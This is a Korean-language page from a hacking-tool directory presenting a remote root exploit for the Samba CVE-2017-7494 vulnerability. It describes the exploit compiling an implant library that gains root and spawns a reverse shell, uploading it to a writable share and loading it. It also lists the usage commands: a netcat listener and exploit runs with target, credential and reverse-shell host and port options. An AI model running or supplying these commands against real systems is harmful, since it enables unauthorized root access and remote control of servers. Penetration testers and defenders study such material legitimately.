Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-7494 — SAMBA CVE-2017-7494 취약점용 원격 루트 익스플로잇 | Kitploit
도구/GitHubGitHub/joxeankoret/cve-2017-7494
Payload GenerationVulnerability AnalysisExploitationShellcodePenetration TestingRemote Access ToolArchived
GitHubjoxeankoret/cve-2017-7494

CVE-2017-7494

SAMBA CVE-2017-7494 취약점용 원격 루트 익스플로잇

저장소 보기
259745년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2017-7494

SAMBA CVE-2017-7494 취약점을 위한 원격 루트 익스플로잇

상세 정보

이 익스플로잇은 두 부분으로 나뉩니다:

  • 첫째, "implant.c"라는 페이로드를 컴파일하여 루트 사용자로 전환하고, 부모 프로세스에서 분리한 후 리버스 셸을 생성하는 라이브러리(libimplantx32.so 또는 libimplantx64.so)를 생성합니다.
  • 둘째, 지정된 대상 호스트에서 쓰기 가능한 공유 폴더를 찾고, 라이브러리를 무작위 이름으로 업로드한 후 로드하려고 시도합니다.

대상이 취약하고 페이로드가 대상 운영 체제 및 아키텍처에 올바른 경우, 익스플로잇은 100% 신뢰할 수 있습니다.

사용 방법

사용자 컴퓨터에서 다음 명령을 실행하십시오:

root@kitploit:~
$ nc -p 31337 -l

그런 다음 대상에 대해 익스플로잇을 실행하고 Netcat으로 다시 연결될 때까지 기다리십시오:

root@kitploit:~
$ python cve_2017_7494.py -t target_ip

리버스 셸을 너무 빨리 닫으면 모듈을 업로드하는 익스플로잇을 다시 실행하는 대신 이미 업로드된 모듈의 경로를 전달할 수 있습니다. /shared/directory/에 "module.so"로 업로드되었다고 가정하면 다음과 같은 명령을 실행합니다:

root@kitploit:~
$ python cve_2017_7494.py -t target_ip -m /shared/directory/module.so

업데이트 2017년 11월 25일 - Archivaldo

이제 samba 3.5.0 및 3.6.0에 대해 익스플로잇을 실행할 수 있습니다. -o 1 인수만 추가하면 됩니다.

root@kitploit:~
python cve_2017_7494.py -t target_ip -u test -P 123456 --rhost shell_ip --rport shell_port -o 1 

이제 사용자 정의 .so 파일을 사용할 수 있습니다.

root@kitploit:~
python cve_2017_7494.py -t target_ip -u test -P 123456 -o 1 --custom myso.so

x86 머신에서 이 스크립트를 실행해야 하는 경우, 임플란트 바이너리를 컴파일하면 두 개의 x86 파일이 생성됩니다. -n 1 플래그를 사용하여 컴파일을 비활성화하고 다른 머신에서 libimplantx64.so를 복사할 수 있습니다.

root@kitploit:~
python cve_2017_7494.py -t target_ip -u test -P 123456 --rhost shell_ip --rport shell_port -n 1

samba가 포트 139에서만 실행되는 경우 -p 인수를 사용하여 원격 서버 포트를 설정할 수 있습니다.

root@kitploit:~
python cve_2017_7494.py -t target_ip -p 139 -u test -P 123456 --rhost shell_ip --rport shell_port -n 1

참고 사항

더 이상 지원하지 않습니다.

-- Joxean Koret

도구 다운로드